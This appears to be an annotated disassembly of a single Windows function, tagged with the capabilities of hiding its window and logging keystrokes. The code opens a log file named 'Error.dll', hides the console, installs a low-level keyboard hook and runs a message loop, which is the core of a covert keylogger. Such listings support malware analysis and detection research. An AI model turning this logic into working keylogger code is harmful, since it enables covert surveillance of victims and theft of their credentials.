Function at 0x401ec0
Capabilities:
Hide graphical window
Log keystrokes via application hook

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x405ccd
mov eax, dword fs:[0]
push eax
sub esp, 0x54
mov eax, dword [0x409040]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
cmp dword [0x4090f0], 0
jne 0x402019
push 0x40
push 0xa
push str.Error.dll
call dword [sym.imp.MSVCP140.dll_struct__iobuf____cdecl_std::_Fiopen_char_const___int__int_]
mov esi, eax
add esp, 0xc
test esi, esi
je 0x402019
mov ecx, 0x4090a4
mov byte [0x4090ec], 1
mov byte [0x4090e1], 0
call dword [sym.imp.MSVCP140.dll_protected:_void___thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::_Init_void_]
lea eax, [ebp - 0x40]
mov dword [ebp - 0x44], 0
push eax
lea eax, [ebp - 0x4c]
mov dword [ebp - 0x4c], 0
push eax
lea eax, [ebp - 0x44]
mov dword [ebp - 0x40], 0
push eax
push esi
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__get_stream_buffer_pointers]
mov edx, dword [ebp - 0x40]
add esp, 0x10
mov ecx, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x44]
push edx
push ecx
push eax
push edx
push ecx
push eax
mov ecx, 0x4090a4
call dword [sym.imp.MSVCP140.dll_protected:_void___thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::_Init_char____char____int___char____char____int__]
mov eax, dword [0x4098ec]
mov ecx, dword [0x4098f0]
mov dword [0x4090e4], eax
lea eax, [ebp - 0x58]
mov dword [0x4090e8], ecx
mov ecx, 0x4090a4
push eax
mov dword [0x4090f0], esi
mov dword [0x4090dc], 0
call dword [sym.imp.MSVCP140.dll_public:_class_std::locale___thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::getloc_void_]
mov ecx, eax
mov dword [ebp - 4], 0
call fcn.00403d50
mov esi, eax
mov ecx, esi
call dword [sym.imp.MSVCP140.dll_public:_bool___thiscall_std::codecvt_base::always_noconv_void_const]
test al, al
je 0x401fcf
mov dword [0x4090dc], 0
jmp 0x401fe0
mov ecx, 0x4090a4
mov dword [0x4090dc], esi
call dword [sym.imp.MSVCP140.dll_protected:_void___thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::_Init_void_]
mov dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0x54]
test ecx, ecx
je 0x401fff
mov eax, dword [ecx]
call dword [eax + 8]
test eax, eax
je 0x401fff
mov edx, dword [eax]
mov ecx, eax
push 1
call dword [edx]
mov eax, dword [0x4090a0]
push 0
push 0
mov ecx, dword [eax + 4]
add ecx, 0x4090a0
call dword [sym.imp.MSVCP140.dll_public:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::clear_int__bool_]
jmp 0x402031
mov eax, dword [0x4090a0]
push 0
push 2
mov ecx, dword [eax + 4]
add ecx, 0x4090a0
call dword [sym.imp.MSVCP140.dll_public:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool_]
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov edi, eax
mov dword [ebp - 0x60], edi
test edi, edi
je 0x402150
lea ecx, [ebp - 0x58]
call fcn.004017b0
mov ebx, dword [ebp - 0x54]
cmp ebx, 0x7fffffff
jg 0x40206f
mov esi, dword [ebp - 0x58]
jl 0x402064
cmp esi, 0xfa0a1eff
jae 0x40206f
add esi, 0x5f5e100
adc ebx, 0
jmp 0x402077
or esi, 0xffffffff
mov ebx, 0x7fffffff
mov dword [ebp - 0x40], ebx
mov dword [ebp - 0x44], esi
nop dword [eax]
lea ecx, [ebp - 0x58]
call fcn.004017b0
cmp dword [ebp - 0x54], ebx
jg 0x40213b
jl 0x40209c
cmp dword [ebp - 0x58], esi
jae 0x40213b
call dword [sym.imp.MSVCP140.dll__Xtime_get_ticks]
push 0
push 0x64
push edx
push eax
call fcn.004059c0
sub esi, dword [ebp - 0x58]
mov edi, eax
mov eax, dword [ebp - 0x40]
mov ebx, edx
sbb eax, dword [ebp - 0x54]
mov ecx, esi
mov edx, eax
mov dword [ebp - 0x5c], esi
mov dword [ebp - 0x4c], eax
call fcn.00405a00
comisd xmm0, xmmword [0x406540]
jbe 0x4020f1
mov esi, edi
mov eax, ebx
add esi, 0xad160000
mov ecx, 0x311cd
adc eax, 0x311cd
mov dword [ebp - 0x4c], eax
mov eax, 0xad160000
jmp 0x402100
mov ecx, dword [ebp - 0x4c]
add esi, edi
mov eax, ecx
adc eax, ebx
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp - 0x5c]
add edi, eax
push 0
push 0x3b9aca00
adc ebx, ecx
push ebx
push edi
call fcn.00405830
mov dword [ebp - 0x20], eax
imul eax, eax, 0x3b9aca00
mov dword [ebp - 0x1c], edx
sub esi, eax
lea eax, [ebp - 0x20]
push eax
mov dword [ebp - 0x18], esi
call dword [sym.imp.MSVCP140.dll__Thrd_sleep]
mov esi, dword [ebp - 0x44]
add esp, 4
mov ebx, dword [ebp - 0x40]
jmp 0x402080
push 0
push dword [ebp - 0x60]
call dword [sym.imp.USER32.dll_ShowWindow]
test eax, eax
jne 0x402150
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 0
push 0
push 0x401920
push 0xd
call dword [sym.imp.USER32.dll_SetWindowsHookExW]
mov dword [0x4098e0], eax
test eax, eax
jne 0x40217d
push 0x10
push str.Erro
push str.Falha_ao_instalar_o_hook_
push eax
call dword [sym.imp.USER32.dll_MessageBoxW]
mov esi, dword [sym.imp.USER32.dll_GetMessageW]
push 0
push 0
push 0
lea eax, [ebp - 0x3c]
push eax
call esi
test eax, eax
jne 0x402183
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004049c2
mov esp, ebp
pop ebp
ret